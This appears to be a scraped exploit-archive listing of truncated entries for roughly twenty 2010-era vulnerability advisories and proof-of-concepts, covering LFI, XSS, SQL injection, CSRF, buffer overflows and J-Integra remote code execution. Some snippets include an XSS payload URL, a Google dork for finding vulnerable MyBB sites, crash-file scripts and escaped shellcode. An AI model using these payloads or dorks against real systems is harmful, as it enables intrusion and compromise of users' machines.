Google Urchin 5.7.03 Local File Inclusion

While fuzzing an Urchin web application, I discovered what appears to be an LFI vulnerability. Neither Secunia nor Google / Urchin appear to have reported this as a known issue. The problem lies in the gfid parameter passed to urchin.cgi. This was tested on a somewhat modified version of Urchin...

MyBB Cross Site Scripting

MyBB all version tags.php?tag= - Cross-Site Scripting XSS & HTML Injection http://www.mybb.com 12-12-2010 Poc: http://infectionsupport.com/tags.php?tag= "alertString.fromCharCode88,83,83 http://infectionsupport.com/tags.php?tag=" Google dork: powered by mybb inurl:tags.php?tag= by Teamelite...

www.eVuln.com : HTTP Response Splitting in WWWThreads (php version)

www.eVuln.com advisory: HTTP Response Splitting in WWWThreads php version Summary: http://evuln.com/vulns/156/summary.html Details: http://evuln.com/vulns/156/description.html -----------Summary----------- eVuln ID: EV0156 Software: n/a Vendor: WWWThreads Version: 2006.11.25 Critical Level: low...

www.eVuln.com : Non-persistent XSS in WWWThreads (perl version)

www.eVuln.com advisory: Non-persistent XSS in WWWThreads perl version Summary: http://evuln.com/vulns/157/summary.html Details: http://evuln.com/vulns/157/description.html -----------Summary----------- eVuln ID: EV0157 Software: n/a Vendor: WWWThreads Version: v5.0.8 Pro perl version Critical...

net2ftp Stable 0.98 RFI/LFI Vulnerability

Exploit for php platform in category web applications ========================================= net2ftp Stable 0.98 RFI/LFI Vulnerability ========================================= net2ftp is web based ftp client used by many web shared hosting...

CMScout 2.09 - Cross-Site Request Forgery

CMScout 2.09 - Cross-Site Request Forgery Vulnerability ID: HTB22719 Reference: http://www.htbridge.ch/advisory/xsrfcsrfincmscout.html Product: CMScout Vendor: CMScout Team http://www.cmscout.co.za/ Vulnerable Version: 2.09 and probably prior versions Vendor Notification: 25 November 2010...

net2ftp Stable 0.98 Remote / Local File Inclusion

net2ftp is web based ftp client used by many web shared hosting //////////////////////////////////////////////////////////////////// Vuln is in file skins/mobile/admin1.template.php: /////////////////////////////////////////////////////////////////// Pathed Version:...

[www.eVuln.com] SQL Injection vulnerability in Alguest

New eVuln Advisory: SQL Injection vulnerability in Alguest Summary: http://evuln.com/vulns/154/summary.html Details: http://evuln.com/vulns/154/description.html -----------Summary----------- eVuln ID: EV0154 Software: Alguest Vendor: n/a Version: 1.1c-patched Critical Level: medium Type: SQL...

PhpMyAdmin Client Side 0Day Code Injection and Link Falsification

Exploit for php platform in category web applications ================================================================= PhpMyAdmin Client Side 0Day Code Injection and Link Falsification ================================================================= Credits: Emanuele 'emgent' Gentili Marco...

phpMyAdmin Client Side Code Injection

PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification Credits: Emanuele 'emgent' Gentili Marco 'whitesheep' Rondini Alessandro 'scox' Scoscia In error.php, PhpMyAdmin permit to insert text and restricted tag, like BBCode. With tag a@url@pageClick Me/a, you can insert your own...

MODx Revolution CMS Cross Site Scripting

getObject'modUser',array 30: 'username' = $POST'username', 31: ; ... 71: else if !empty$POST'forgotlogin' 72: $c = $modx-newQuery'modUser'; 73: $c-selectarray'modUser.','Profile.email','Profile.fullname'; 74: $c-innerJoin'modUserProfile','Profile'; 75: $c-wherearray 76: '...

MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability

Summary MODx Revolution is a powerful PHP Content Management Framework that plays nicely with custom code and helps you build sites faster and maintain them with ease. With Revolution you'll leverage the best things to come around since MVC and Active Record. Description The MODx Revolution CMS...

WaveMax Sound Editor 4.5.1 - Denial of Service (PoC)

WaveMax Sound Editor 4.5.1 - Denial of Service PoC Exploit Title: WaveMax Sound Editor 4.5.1 Local Crash PoC Software Link: http://www.wave-max.com/wavemax/ Tested on: Win XP SP3 Date: 04-12-2010 Author: h1ch4m Email: [email protected] my $file= "1.cda"; my $junk = "\x41" x 1000; open$FILE,"$file";...

Free Audio Converter 7.1.5 - Denial of Service (PoC)

Exploit Title: Free Audio Converter 7.1.5 Local Crash PoC Software Link: http://www.free-audio-converter.net/ Tested on: Win XP SP3 Date: 04-12-2010 Author: h1ch4m Email: [email protected] Note: all vendor's products are affected. my $file= "1.mp3"; my $junk = "\x41" x 1000; open$FILE,"$file"; print...

MediaMonkey 3.2.4.1304 - '.mp3' Buffer Overflow (PoC)

Exploit Title: Mediamonkey 3.2.4.1304 mp3 Buffer Overflow Vulnerability PoC Date: 12/04/2010 Author: 0v3r Software Link: http://www.mediamonkey.com/download/?dir=download Version: 3.2.4.1304 Tested on: Windows XP SP3 EN CVE: N/A !/usr/bin/python buff = "\x41" 5000 try: f = open"exploit.mp3",'w'...

MediaMonkey 3.2.4.1304 - .mp3 Buffer Overflow (PoC)

MediaMonkey 3.2.4.1304 - .mp3 Buffer Overflow PoC Exploit Title: Mediamonkey 3.2.4.1304 mp3 Buffer Overflow Vulnerability PoC Date: 12/04/2010 Author: 0v3r Software Link: http://www.mediamonkey.com/download/?dir=download Version: 3.2.4.1304 Tested on: Windows XP SP3 EN CVE: N/A !/usr/bin/python...

J-Integra v2. 1 1 remote code execution vulnerability-vulnerability warning-the black bar safety net

J-Integra is a powerful, enables Java and COM, and J2EE, and. NET compatible middleware. J-Integra is divided into J-Integra for COM, J-Integra for . NET and J-Integra for Exchange of three partial products. J-Integra v2. 1 1 A control in the presence of a remote code execution vulnerability that...

J-Integra v2.11 Remote Code Execution Exploit

Exploit for windows platform in category remote exploits ============================================= J-Integra v2.11 Remote Code Execution Exploit ============================================= esp = String100, "B" calc = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49" &...

Alguest 1.1c-patched Cross Site Scripting

New eVuln Advisory: Multiple XSS in Alguest Summary: http://evuln.com/vulns/151/summary.html Details: http://evuln.com/vulns/151/description.html -----------Summary----------- eVuln ID: EV0151 Software: Alguest Vendor: n/a Version: 1.1c-patched Critical Level: low Type: Cross Site Scripting Statu...

J-Integra 2.11 Remote Code Execution

esp = String100, "B" calc = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49" & unescape"%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68" & unescape"%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42" & unescape"%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a" &...